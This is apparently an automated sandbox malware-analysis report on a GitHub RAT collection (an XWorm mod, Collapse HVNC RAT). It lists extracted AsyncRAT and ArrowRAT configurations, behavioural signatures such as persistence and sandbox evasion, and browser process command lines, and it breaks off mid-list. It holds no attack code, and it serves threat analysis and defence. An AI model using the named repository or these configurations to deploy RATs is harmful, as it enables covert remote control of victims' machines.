Overview

overview

10

Static

static

1

URLScan

urlscan

https://github.com/C...

windows10-2004-x64

10

Analysis

  • max time kernel
    900s
  • max time network
    905s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20251215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20251215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/12/2025, 11:34

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    https://github.com/Cryakl/Ultimate-RAT-Collection/tree/main/XWorm/Mods/Collapse%20HVNC%20Rat%20v1.5
  • Sample251216-npv27aymel
Score
10/10
adwareagilenetclientdefense_evasiondiscoveryarrowratasyncratpersistenceratspyware

Malware Config

Extracted

Family

  • asyncrat

Version

  • Collapse RAT & HVNC 1.0.0

Mutex

  • lmgbxfutknlhi

Attributes
  • delay

    1

  • install

    false

  • local_host

    127.0.0.1

aes.plain

Extracted

Family

  • arrowrat

Botnet

  • Client

C2

  • 127.0.0.1:1337

Mutex

  • ZOXEEDLIj

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Arrowrat family
    arrowrat
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Asyncrat family
    asyncrat
  • Async RAT payload 2 IoCs
    rat
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 23 IoCs
  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

    agilenet
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 16 IoCs
  • ConfuserEx .NET packer 1 IoCs

    Detects ConfuserEx .NET packer.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 12 IoCs
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 5 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 9 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/Cryakl/Ultimate-RAT-Collection/tree/main/XWorm/Mods/Collapse%20HVNC%20Rat%20v1.5
    1⤵
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4140
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x24c,0x7ffb88e7f208,0x7ffb88e7f214,0x7ffb88e7f220
      2⤵
        PID:5032
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1952,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=2148 /prefetch:3
        2⤵
          PID:4596
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2120,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=2116 /prefetch:2
          2⤵
            PID:4624
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1944,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=2672 /prefetch:8
            2⤵
              PID:4228
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3548,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:1
              2⤵
                PID:4556
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3528,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:1
                2⤵
                  PID:1216
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --always-read-main-dll --field-trial-handle=5116,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:8
                  2⤵
                    PID:3200
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --string-annotations --always-read-main-dll --field-trial-handle=5132,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5168 /prefetch:8
                    2⤵
                      PID:3208
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=5652,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:8
                      2⤵
                        PID:1732
                      • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=5744,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:8
                        2⤵
                          PID:2344
                        • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=5744,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:8
                          2⤵
                            PID:5764
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --string-annotations --always-read-main-dll --field-trial-handle=6100,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=6136 /prefetch:8
                            2⤵
                              PID:4644
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=6128,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:1
                              2⤵
                                PID:4292
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=120,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:8
                                2⤵
                                  PID:5140
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=6740,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=6688 /prefetch:8
                                  2⤵
                                    PID:5776
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=6768,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:8
                                    2⤵
                                      PID:2412
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=6744,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:8
                                      2⤵
                                        PID:208
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=5400,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=6204 /prefetch:8
                                        2⤵
                                          PID:3956
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=5784,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5188 /prefetch:8
                                          2⤵
                                            PID:1732
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=5516,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=788 /prefetch:8
                                            2⤵
                                              PID:1244
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=5464,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:8
                                              2⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:3864
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=5600,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5008 /prefetch:8
                                              2⤵
                                                PID:5056
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --always-read-main-dll --field-trial-handle=6620,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=6880 /prefetch:8
                                                2⤵
                                                  PID:5152
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=7044,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=7020 /prefetch:8
                                                  2⤵
                                                    PID:2804
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=3660,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=2516 /prefetch:8
                                                    2⤵
                                                      PID:748
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --string-annotations --always-read-main-dll --field-trial-handle=3580,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=6856 /prefetch:8
                                                      2⤵
                                                        PID:2644
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --field-trial-handle=5660,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:1
                                                        2⤵
                                                          PID:2328
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=6404,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=6364 /prefetch:8
                                                          2⤵
                                                            PID:2384
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --always-read-main-dll --field-trial-handle=3320,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=4896 /prefetch:8
                                                            2⤵
                                                              PID:332
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --field-trial-handle=7084,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:1
                                                              2⤵
                                                                PID:4936
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=6992,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=7020 /prefetch:8
                                                                2⤵
                                                                  PID:5744
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=7064,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=4848 /prefetch:8
                                                                  2⤵
                                                                    PID:4440
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=6988,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=6760 /prefetch:8
                                                                    2⤵
                                                                      PID:4676
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --field-trial-handle=6604,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=4028 /prefetch:1
                                                                      2⤵
                                                                        PID:2968
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --field-trial-handle=5240,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5524 /prefetch:1
                                                                        2⤵
                                                                          PID:5396
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --always-read-main-dll --field-trial-handle=3436,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=7144 /prefetch:8
                                                                          2⤵
                                                                            PID:2236
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=5280,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:8
                                                                            2⤵
                                                                              PID:5180
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --field-trial-handle=6648,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=6632 /prefetch:1
                                                                              2⤵
                                                                                PID:4792
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --always-read-main-dll --field-trial-handle=3240,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:1
                                                                                2⤵
                                                                                  PID:4020
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --always-read-main-dll --field-trial-handle=5704,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=784 /prefetch:1
                                                                                  2⤵
                                                                                    PID:4016
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --always-read-main-dll --field-trial-handle=6368,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=7140 /prefetch:1
                                                                                    2⤵
                                                                                      PID:3584
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --string-annotations --always-read-main-dll --field-trial-handle=7032,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=6776 /prefetch:8
                                                                                      2⤵
                                                                                        PID:772
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=8068,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=8032 /prefetch:8
                                                                                        2⤵
                                                                                          PID:2028
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --always-read-main-dll --field-trial-handle=7580,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=7568 /prefetch:1
                                                                                          2⤵
                                                                                            PID:2660
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --always-read-main-dll --field-trial-handle=8176,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=8028 /prefetch:1
                                                                                            2⤵
                                                                                              PID:1008
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --always-read-main-dll --field-trial-handle=7916,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:1
                                                                                              2⤵
                                                                                                PID:4296
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=6892,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=8172 /prefetch:8
                                                                                                2⤵
                                                                                                  PID:2628
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=6892,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=8172 /prefetch:8
                                                                                                  2⤵
                                                                                                    PID:3088
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --always-read-main-dll --field-trial-handle=3568,i,17108999223709212592,12586064367613530318,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:1
                                                                                                    2⤵
                                                                                                      PID:5376
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                                                                                                    1⤵
                                                                                                      PID:1400
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
                                                                                                      1⤵
                                                                                                        PID:2744
                                                                                                      • C:\Windows\System32\rundll32.exe
                                                                                                        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                        1⤵
                                                                                                          PID:6092
                                                                                                        • C:\Program Files\7-Zip\7zFM.exe
